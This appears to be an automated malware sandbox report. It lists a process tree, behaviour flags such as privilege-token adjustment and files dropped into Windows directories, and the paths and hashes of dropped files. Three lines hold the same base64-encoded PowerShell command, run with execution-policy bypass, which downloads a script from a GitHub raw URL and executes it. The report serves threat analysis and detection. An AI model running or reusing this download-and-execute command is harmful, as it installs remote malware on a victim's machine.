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C:\Windows\System32\cmd.execmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA1⤵PID:3288
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C:\Windows\system32\cmd.execmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA2⤵PID:3112
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA3⤵
- Blocklisted process makes network request
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3572
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\RES536F.tmp
- Size 1KB
- SHA256 b06f430b96a5b0dc30accdd487bb1adcf5b34225b692c1b5146daaafe8e9ec27
- MD5 1938177519fbff9f297ad5bedbd022e2
- SHA1 bfb03668ec5da481a08b0966d66f0f1e62243363
- SHA512 a0338d99df4a147875eac2cf827297e72677bdafeedafd1e6122fad3b7fef5954cca61b481f1d836d3989e3d33b809b14faa28d62d89405a9dedcb190b4fe522
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ruluutrh.tds.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\c5obhduy\c5obhduy.dll
- Size 3KB
- SHA256 f44d6575b53de749521f100679eb21ca1c5ccbe0edd978ca6d4c39d122b59145
- MD5 bd2b77edd6d74227285656cf2f43d676
- SHA1 8b738800603d11d2fcf00f0a00c963325ec13061
- SHA512 abbccd3a1da83c398747d4b37b0781e490632433fcfff06506b5e8f40a1e62ee56e1448904bdc94cd1fd0d8e34d11b15cf750f648d1cd0a0d48b3101228c9d68
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\get-dnsprovider.PS1
- Size 2.5MB
- SHA256 1fa24f444e6b18ab2072201a5d9de4df325830990f073194addb5327137c2e89
- MD5 5db5ffa607b5b5ca17bfd6fb78403660
- SHA1 1e793958cb1dd1dc99da4a50beaa2945561b7a16
- SHA512 3d2eab2b02c1d7302b563e3cc232791e242c8d2686a0a4cb58115cdd4ca19f48e390791404f62fef2c0fdbe3e5185b260de6a8fd5ccef2e091d473e0186ffe43
- SSDEEP 24576:MkJhKL17B5lsSHMPKWvpvl2FHXLhoJv8Zb/aSOI0uTgthQjfZLJY4SjDG270AzA3:RKLHfsR43XD1gjQjfojW6KHmEij2N
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\ready.ps1
- Size 1KB
- SHA256 abb6ceb444b3dc29fcdcb8bda4935a6a792b85bb7049cb2710d97415d9411af9
- MD5 28d9755addec05c0b24cca50dfe3a92b
- SHA1 7d3156f11c7a7fb60d29809caf93101de2681aa3
- SHA512 891a72eeef42be3f04067225a9665020704c99f9c17473ca57e5b946dfa35cb469fa91a794ea30115ce3ed0e940edb3ccff69a16a888379f5ac46a12afaa4c42
- MD5 SHA1 SHA512
- Path C:\Windows\Branding\mediasrv.png
- Size 60KB
- SHA256 21a0a297e9a2295f7e32aea08ea74c01199cc57d30b8a177fa99c9cc96a6268b
- MD5 96e498a3833f52ae46bcfdc391f73cf7
- SHA1 ecaf72b46cf1cb074bde2914963bb1e61450ca95
- SHA512 9f273a77d434807138c884cc95deb1cadea1ff6db492839d238759a265f3b0ded318b6af59d0743f8dd1555e968afb1eca9ba92a214ecd247480d2a072c08540
- SSDEEP 1536:ym3ZCrO6Nd/qop+HtheW2USHNzYzOYlRf5L:yukSysoIenUozUP
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\Branding\mediasvc.png
- Size 743KB
- SHA256 b7a9b4269995093c63efe64cb65e4562680af2fdf7c4dfdc235f2eb60c469ff0
- MD5 2ee3d03bb1f8bd257235fc70e92b17e1
- SHA1 c36482b8f8229578dec1cc687aaf53084cb6d05e
- SHA512 39f8a42a512e4bfbf84ac3c472bf9444a139da23b7007f57aa68dc9ba9db5466b7f155df18c0a49e3073527763ef459180ab1912e53453d312c17718ab67abea
- SSDEEP 12288:0K/B5QF5BV3wW9uD/mhCQFhvLulYMoGoPMP7ki06oU543v9nNU0zVd2YqDJpR:TB5QzB2W9xhzulYMoGoU7lWv9NFD2YqN
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\RGI7C35.tmp
- Size 24KB
- SHA256 3e6520cd56070637daa5c3d596e57e6b5e3bd1a25a08804ccea1ce4f50358744
- MD5 d0e162c0bd0629323ebb1ed88df890d6
- SHA1 cf3fd2652cdb6ff86d1df215977454390ed4d7bc
- SHA512 a9c82f1116fce7052d1c45984e87b8f3b9f9afeb16be558fd1ecbd54327350344f37f32bc5d4baabd3e1cf3ac0de75c8ba569c1e34aaf1094cd04641d137c117
- SSDEEP 192:D161V1+hcTueeCSh5e29gEK6WK2SpCSPQVsYIF8SYLzoDpjF/qTUqYjZ2l5gnJQT:D12+hcTueeCSXe29KSLIzw3VgYJQT
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\system32\rfxvmt.dll
- Size 40KB
- SHA256 6d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9
- MD5 dc39d23e4c0e681fad7a3e1342a2843c
- SHA1 58fd7d50c2dca464a128f5e0435d6f0515e62073
- SHA512 5cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7
- SSDEEP 768:LXDwpWUg0pEiUMoJ6HvQN93cXZ3uV1AX+qw51QnVJL0EAX6tN:dM7PQP3mA+5n+6tN
- MD5 SHA1 SHA512 SSDEEP
- Path \??\c:\Users\Admin\AppData\Local\Temp\c5obhduy\CSCFC857B07A8724AC69C3C7D7FF73CB096.TMP
- Size 652B
- SHA256 f008758438fdeae043da637981d6bd1a97f9566422a56708cfa7f1c34f22a8af
- MD5 abb9b4ca949cbf4c1d8222455423a7ce
- SHA1 bc9e0db5e5125afabb1cee5a778c4887f90a7558
- SHA512 6d78be878539d074cc02fc0d9594d27e2c3f631e36d2b73bb848c8065a7657e3f1505d095d4e487ab63c2cf977991a4b3dddfb46b73a6a415aa3ac1a95614bec
- MD5 SHA1 SHA512
- Path \??\c:\Users\Admin\AppData\Local\Temp\c5obhduy\c5obhduy.0.cs
- Size 424B
- SHA256 e1a4fbe36125e02e100e729ce92ab74869423da87cb46da6e3c50d7c4410b2d9
- MD5 9f8ab7eb0ab21443a2fe06dab341510e
- SHA1 2b88b3116a79e48bab7114e18c9b9674e8a52165
- SHA512 53f5dc4c853af5a412fde895635ef4b2de98a165e3546130fdd17a37a5c3b177e21eccf70a5ddf936ac491da2d7e8fcdbc1e564a95ec01b097841aa78869989b
- MD5 SHA1 SHA512
- Path \??\c:\Users\Admin\AppData\Local\Temp\c5obhduy\c5obhduy.cmdline
- Size 369B
- SHA256 ee2929d93ecad708ed3d1c300975447b76c8585cbda2a5d0c849e51e8f45fc5f
- MD5 45639155d382ed84a3195a5d8e449e90
- SHA1 00fc7e7b4ee39a1cb6b415a58d047470306242bd
- SHA512 5c6e4d9ef181b2b078ca95778cac2a78c5592600f2f0dedcb1bf915d9d1f325330e09bcfba5f28518e4541072c1cb5c39c4653926e17c6074796bee26d332023
- MD5 SHA1 SHA512